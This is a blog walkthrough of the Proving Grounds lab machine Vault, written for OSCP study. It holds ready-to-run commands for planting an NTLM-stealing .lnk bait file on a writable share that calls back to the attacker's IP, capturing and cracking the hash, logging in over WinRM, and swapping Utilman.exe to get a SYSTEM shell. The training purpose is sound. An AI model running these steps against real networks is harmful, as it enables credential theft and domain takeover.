November 2, 2026
Proving Grounds: Vault — NTLM Theft and SeRestorePrivilege to SYSTEM
Writable anonymous SMB share, a .lnk bait file, a cracked Net-NTLMv2 hash and a Utilman.exe swap to SYSTEM on an OffSec PG Practice Domain C

By Huseyin KALKAN
5 min read
Originally published on huseyinkalkan.net (also available in Turkish).
Vault is an Active Directory machine on OffSec Proving Grounds Practice: a Windows Server 2019 Domain Controller (vault.offsec). The path is short but teaches two lessons worth remembering for the OSCP: always test whether an anonymous share is writable, and treat SeBackup/SeRestore privileges as admin rights.
Attack chain at a glance
- Nmap shows a Domain Controller with SMB, LDAP, WinRM and RDP open.
- Null sessions over RPC are refused, but the
DocumentsShareshare is writable anonymously. - A malicious
.lnkbuilt with ntlm_theft is dropped on the share; a user browsing it authenticates to us and Responder captures the Net-NTLMv2 hash ofanirudh. - Hashcat cracks it in seconds and we log in over WinRM with evil-winrm.
whoami /privshowsSeRestorePrivilege: we swapUtilman.exeforcmd.exeand press Win+U on the RDP login screen to get a SYSTEM shell.
1. Reconnaissance
sudo nmap -sC -sV -Pn -p- -T4 192.168.154.172 --opensudo nmap -sC -sV -Pn -p- -T4 192.168.154.172 --open
What the open ports mean for us:
- 53 DNS, 88/464 Kerberos, 389/3268 LDAP / Global Catalog: this is a Domain Controller.
- 135, 139, 445 RPC/SMB: file sharing and remote management. This is our way in.
- 3389 RDP: we come back to it for privilege escalation.
- 5985 WinRM: remote PowerShell. Once we have a password, this is our shell.
Two details matter later: WinRM is open, so cracked credentials turn straight into a shell, and SMB signing is enabled and required, so NTLM relay against this host will not work. A captured hash has to be cracked.
echo "192.168.154.172 vault.offsec" | sudo tee -a /etc/hosts
sudo ntpdig 192.168.154.172echo "192.168.154.172 vault.offsec" | sudo tee -a /etc/hosts
sudo ntpdig 192.168.154.172Note: ntpdig <IP> only prints the clock offset. To actually sync (Kerberos rejects more than 5 minutes of skew) use sudo ntpdig -S <IP> or sudo ntpdate <IP>.
2. Anonymous access attempts
rpcclient -U '' -N 192.168.154.172
enum4linux 192.168.154.172rpcclient -U '' -N 192.168.154.172
enum4linux 192.168.154.172
No user list from RPC, but listing SMB shares still works:
smbclient -L //192.168.154.172 -Nsmbclient -L //192.168.154.172 -N
DocumentsShare opens anonymously but is empty. NETLOGON and SYSVOL accept the connection but deny listing.
3. The detail that matters: is the share writable?
An empty, non-standard share is often a drop box that a user or a scheduled task checks. Instead of only reading it, test whether you can write to it:
echo test > test.txt
smbclient //192.168.154.172/DocumentsShare -N -c 'put test.txt'echo test > test.txt
smbclient //192.168.154.172/DocumentsShare -N -c 'put test.txt'
4. Why this works: NTLM and forced authentication
- The NT hash is the MD4 digest of the UTF-16LE password. On a DC these hashes live in ntds.dit.
- Challenge-response: the server sends a random challenge and the client answers with a response computed from it and its NT hash. The password never crosses the network.
- The weakness: the client does not verify who it is authenticating to. When Windows touches a path like
\\ATTACKER_IP\share, it sends the logged-in user's NTLM response to whatever server answers.
What we capture is a Net-NTLMv2 response, not the NT hash, so it cannot be used for pass-the-hash. It can be cracked offline or relayed, and relay is ruled out here by SMB signing.
5. Building the bait file with ntlm_theft
# -s must be YOUR tun0 IP, not the target's
python3 ntlm_theft.py -g lnk -s 192.168.45.160 -f vault# -s must be YOUR tun0 IP, not the target's
python3 ntlm_theft.py -g lnk -s 192.168.45.160 -f vault-g lnk: type of bait file, here a Windows shortcut (-g allgenerates every format).-s: the IP the victim connects to, i.e. your own VPN address where the fake SMB server listens.-f vault: output name, producingvault/vault.lnk.
A common mistake:_ -s is not the target's address but the one where you listen. A .lnk pointing at the target makes the victim try to authenticate to itself and your listener sees nothing. Check your IP with ip -4 addr show tun0._
6. Listener: impacket-smbserver vs Responder
impacket-smbserver test . -smb2supportimpacket-smbserver test . -smb2support
With Responder, uploading the file again captured the hash:
sudo responder -I tun0
smbclient //192.168.154.172/DocumentsShare -N -c 'put vault.lnk'sudo responder -I tun0
smbclient //192.168.154.172/DocumentsShare -N -c 'put vault.lnk'
So why did impacket fail? It is not a share-name mismatch: NTLM authentication happens during SMB session setup, before the share name is checked, so impacket-smbserver prints the hash whatever the share is called. It is not LLMNR either: poisoning works on broadcast name lookups, does not cross the VPN, and is not needed when the victim connects straight to an IP. The likely causes are a bait file still pointing at the wrong IP, or the bot browsing the share only every few minutes. Both tools work for this attack.
7. Cracking the hash
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txthashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
8. Foothold: WinRM
evil-winrm -i 192.168.154.172 -u anirudh -p 'SecureHM'evil-winrm -i 192.168.154.172 -u anirudh -p 'SecureHM'
9. Privilege escalation: SeRestorePrivilege
whoami /privwhoami /priv
- SeRestorePrivilege lets the holder write to and replace any file regardless of its ACL. (Reading any file is SeBackupPrivilege.)
- Utilman.exe runs when you press Win+U on the login screen. Nobody is logged in there, so Winlogon starts it as NT AUTHORITY\SYSTEM.
- Replace it with
cmd.exeand Win+U gives a SYSTEM prompt.
cd C:\Windows\System32
ren Utilman.exe Utilman.old
ren cmd.exe Utilman.execd C:\Windows\System32
ren Utilman.exe Utilman.old
ren cmd.exe Utilman.exe
Then connect to RDP without logging in and press Win+U on the login screen:
rdesktop 192.168.154.172rdesktop 192.168.154.172
Clean up: the commands above leave the system without cmd.exe. Put things back with ren Utilman.exe cmd.exe and ren Utilman.old Utilman.exe. If a privilege shows as Disabled, enable it first (for example with EnableSeRestorePrivilege.ps1). On Vault it was already Enabled.
Alternative paths
- SeBackupPrivilege: take a shadow copy with diskshadow, copy ntds.dit with robocopy /b and dump every domain hash with impacket-secretsdump.
- AD permissions: collect with BloodHound and check what anirudh has rights over, for example Group Policy objects.
Lessons learned
- Do not stop at reading an anonymous share; test write access too.
- In ntlm_theft and any bait file, the address is yours, not the target's.
- When a tool "doesn't work", find out why before reaching for the next one.
- Read nmap twice: "signing required" rules out relay, an open 5985 tells you how creds become a shell.
- SeBackup/SeRestore-style privileges are effectively administrator rights.
Preparing for the OSCP?
I keep a free, interactive OSCP+ exam guide in English and Turkish: exam rules and scoring, time management, enumeration, web, Active Directory, Linux and Windows privilege escalation, pivoting and reporting, with copy-ready commands and live LHOST substitution. The techniques in this writeup are covered in its SMB, Active Directory and Windows privesc sections.
👉 OSCP Ultimate Guide on huseyinkalkan.net
References: Vault walkthrough by @Tvrpism, Greenwolf/ntlm_theft, lgandx/Responder.